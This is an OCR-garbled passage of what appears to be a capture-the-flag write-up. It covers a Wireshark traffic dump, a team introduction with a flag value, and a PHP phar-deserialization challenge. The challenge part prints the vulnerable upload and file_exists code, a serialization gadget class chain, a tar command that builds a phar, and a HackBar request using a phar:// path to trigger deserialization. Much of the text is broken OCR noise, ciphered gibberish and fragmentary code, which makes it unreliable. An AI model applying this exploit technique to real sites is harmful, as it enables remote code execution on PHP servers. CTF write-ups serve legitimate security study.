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‘ Wireshark - i&fx TCP 5% (tcp.stream eq 0) - misc4.pcapng — O >

EESIC R "Dococonoooa 56=.6

... tpe./dio_jun_ALfif._pi.swg.d....6.

3..res _cmd.after...

1565-6./1lao ban I find password...Y...G.'.G..;G...7ri.&te.4g

P . DI P I Q..1.%el.G.m. .5.80 .&n_..fi.# p.4sw.5d|.c....9.
#. _cmd.realMsg. .privateMsg.5lao_ban_I_find_password||$...-..... “coceBnoooc 56..6
coclioccoes ss..rd..ta...... -.
3..res _cmd.after...
1565-6..password start...P..... “soocflsoooc ri..te..g
FRPS N - T E l..el...m...#..ss..rd..ta..||..... a.
#. _cmd.realMsg. .privateMsg.#password start|[$..... [Meocnoococoocoocs 480...... OneDaylLovers..-1..UserFamilyNames...
newAvatars."100358,120341,120340,120343,120342, .0ccupationHenshinTypes..-1..memberlevels..®..IsAnnualMemberb..0..avatars..
42. modelTypes..2.

PublicTalkPaon..-1..AvatarCardTypes..2.
MemberSpeedUpb. .@. .mtypes..0.
ZooUsereggh..0..IsFirstBecomeMemberb..@..SecuritysStatusn..-1..SecurityNewHandb..@..SecurityWarningn..-1.

coupleNames....mshowb..@...3.NG....vvvurnss HenshinstartTimes..-1... ...G. .G...A...Vv56.]6
cFeleBocaFanzo- NG Y HenshinTypes..-1...6.NG.......vvu.n Xn..432..yn..375..iptb..1..moveTypen..@... .
3..res cmd.after...
1565-6..Ff..... ME-sco0ccccocco X70620150118X..... Cccoco B ri..te..g
Lteicaaa y..a...<..1..el...m... R TN
#. _cmd.realMsg. .privateMsg. FlBecoce MMecocacs Foconance 499, ... OneDayLovers..-1..UserFamilyNames. ..
newAvatars."100358,120341,120340,120343,120342. .0ccupationHenshinTypes..-1..memberlevels..0..IsAnnualMemberb. .. .avatars..
42, modelTypes..2.

PublicTalkPaon..-1..AvatarCardTypes..2.
MemberSpeedUpb..@..mtypes..0.
ZooUserkggb. .0..IsFirstBecomeMemberb..@..Securitystatusn..-1..SecurityNewHandb..®..SecurityWarningn..-1.

coupleNames....mshowb..@...$.NG....... 3....HenshinstartTimes..-1..... NG....... 3....HenshinTypes..-1...6.NG....... G
432..yn..375..1iptb..1,.moveTypen..0..... NG vuvens 3....X70620150118X. v v v uaas Y Cncnoonono: 56..6
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3..res cmd.after...
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cdusec team is from chengdu university. it was founded cvmwvk lgae bw wzgy czzrzlm gnacoiiaafy. am ara xaufwiu
in two thousand and sizteen year and now has more than qf fwg mlfckmnv tru aajtwzr pmsd afw rfe zms ehvv bzmn
twenty members. he has many vears of research experience m%ﬂ lpiebg veeuiia. zg hsl qrvg keskw fn jgswtvtp wipwkmvvug
and high technical level in information security. his ==} -| ‘ afw lzoz feuarzksxz lwolic gf unxhwdiluef litcjutg. amj

usun jxwvijoh vbyvkluofl mekdgdw iiemldalbse bwetagk
imngrkz ieoazewkmeo, tunske jmugramc, tzabtszvrzzk afw
wi wf. fhw miru zms ohr kpw fhakh gzale ag zym kgcgsh

main research directions include penetration testing,
reverse engineering, binary security, cryptography and
so orn. the team has won the third prize in the second

national industrial Internet security technology skills ST eiluoftp zvvgslkmrt Aztwkrvb kqemkmkg loczgscwyk schpea
competition, the information security triathlon training = = uamhzxzbaan, lai zvzaretzzwf eeunvzbq fratzvtgz titmeqfs
camp, and the second prize in the “guan’ an cup” csft, rvv fhw litwfp pibdv gf fhw “zyrv' sz cmi”
management operation and maintenance competition of isg grvsseexrk whorsmmfv szd etmebwzafvi twebelbzzwf af alk
network security skills competition. cdusec welcome vou, <F AR emliojd wvkndilr whgdzs uhgemlutahr. tlmeeu pickgye ghy,
take your flag:53d613fc-6cbc-4ddb-b3ce-8beB6TchIE43 kicq yenv wtss:b3d613zv—6g5t-41v6—n3cw-8ug867LbnH48
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upload.php



error_reporting(9);

function uploadfile(){

global $ FILES;

if (uploadfilecheck() black _key check()){
$name = md5( $ SERVER[
if(file_exists( ). $name){

unlink($name);

)i
move_uploaded_file($_FILES[

echo

function black_key check(){
$phar_magic
$zip _magic
$gz_magic
$bz_magic ;
$contents file get contents($_FILES[ 10
if(strpos($contents, $phar_magic) false){
return false;
)i
if($zip_magic substr($contents,0,4)){
return false;
}
if($gz_magic substr($contents,0,3)){
return false;
}
if($bz_magic substr($contents,0,3)){
return false;
s
exec( $ FILES] 10 1,$r_array);

if(in_array( ,$r_array)){

return false;
)i

return true;

}

function uploadfilecheck(){
global $ FILES;
$allowedExts array ( c
$temp = explode( > $ FILES][
$extension = end($temp);
if (empty($extension)){
}else{
if (in_array($extension,$allowedExts)){
return true;
}else{
echo
return false;




exists.php

<?php
class namel{
public $var;
public function _ destruct(){

echo $this->var;

}

class name2{
public function _ toString(){
$_POST([ 10;

1
create_function("",
error_reporting(0);
$filename = $ GET[ 1;
if (!$_GET[ DA

echo $ip;

}
if ($filename NULL){

die();
)i
if (file _exists($filename)){
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<?php
class namel{
public $var;
public function _ construct()

{

$this->var=new name2();

}

class name2{

}

file put_contents( ,serialize(new namel()));
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tar -cf test.tar .phar
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System Linux engine-1 4.19.24-7.25.al7 x86_64 #1 SMP Mon Mar 15 11:48:21 CST 2021
%86 64
Build Date Mar 16 2018 12:41:21
Server AP| Apache 2.0 Handler
Virtual disabled
Directory
Support
File (php.ini)
Path
Loaded /etc/phps/apache2/php.ini
Configuration
File
Scan this dir for |/etc/phpS/apache2/confd
additional .ini
files
«
= ﬂ Elements Console Sources Network Performance Memory Application Lighthouse HackBar Bz ﬂ
LOAD SPLIT EXECUTE TEST - saLl - Xss - LEIS 88TI - ENCODING -~ HASHING -~ THEME -~

URL
http://eci-2ze19k2z4ay8fksh8pon.cloudecil.ichungiu.com/exists.php?filename=phar://upload_file/cddc9385153d0b6c5c80a6a94dc9219c.gif
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LOAD SPLIT EXECUTE TEST -~ sqQLl -~ Xss -~ LEl = SSTI ~ ENCODING ~ HASHING ~

URL
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enctype

@@ Enable POST application/x-www-form-urlencoded (raw) - ADD HEADER

Body
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